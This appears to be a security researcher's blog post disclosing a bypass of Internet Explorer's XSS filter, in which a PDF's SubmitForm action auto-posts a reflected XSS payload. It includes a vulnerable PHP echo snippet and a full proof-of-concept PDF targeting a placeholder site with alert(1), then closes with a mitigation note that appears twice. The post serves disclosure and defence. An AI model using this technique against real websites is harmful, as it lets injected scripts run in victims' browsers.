IE XSS Filter Bypass with PDF
I recently discovered an interesting issue in Internet Explorer regarding bypassing the XSS filter, which I am going to share with you.
Once again, assume the following scenario. The website on example.com suffers from a reflected XSS vulnerability in a POST payload:
test.php
<h1>xss test</h1> <?php echo $_POST['xss']; ?> <div>end</div>
Assuming the web page sets all the necessary headers, a post payload like xss=<script>alert(1)</script> will trigger the XSS filter and be caught.
Let's bypass this restriction:
PDF - SubmitForm Action
The PDF specification describes the SubmitForm action, which allows PDF to submit the AcroForm in different formats. One of the possible formats is HTML. Additionally it is possible to specify if a GET or POST request should be used. The response is rendered in the web browser.
While playing with the feature I discovered that Internet Explorer will never trigger the XSS filter for sent POST requests. This allows to abuse a reflected XSS vulnerability with any payload, without worrying about the XSS filter.
The following PDF will automatically submit a POST request to http://example.com/test.php. The payload contains xss=<script>alert(1)</script>:
%PDF-1.1 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction 33 0 R /AcroForm 22 0 R >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [4 0 R] /Count 1 >> endobj 4 0 obj << /Type /Page /Annot [ 23 0 R ] /Parent 3 0 R /MediaBox [0 0 612 792] /Contents 5 0 R /Resources << /ProcSet [/PDF /Text] /Font << /F1 6 0 R >> >> >> endobj 5 0 obj << /Length 56 >> stream BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET endstream endobj 6 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Encoding /MacRomanEncoding >> endobj 33 0 obj << /S /SubmitForm /F << % URL TO SUBMIT TO: /F (http://example.com/test.php) /FS /URL >> % SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION /Flags 6 >> endobj 22 0 obj << /Fields [23 0 R] >> endobj 23 0 obj << /DA (/Helv 12 Tf 0 g) /F 4 /FT /Tx /Rect [ 9.526760 680.078003 297.527008 702.078003 ] /Subtype /Widget /Type /Annot % PARAMETER NAME /T (xss) % PARAMETER PAYLOAD /V (<script>alert\(1\)</script>) /P 4 0 R >> endobj trailer << /Root 1 0 R >>
Just try it yourself. If you have any question, feel free to contact me on twitter.
To stop the attack from working, you need to enable Protected View: https://helpx.adobe.com/reader/using/protected-mode-windows.html
To stop the attack from working, you need to enable Protected View: https://helpx.adobe.com/reader/using/protected-mode-windows.html
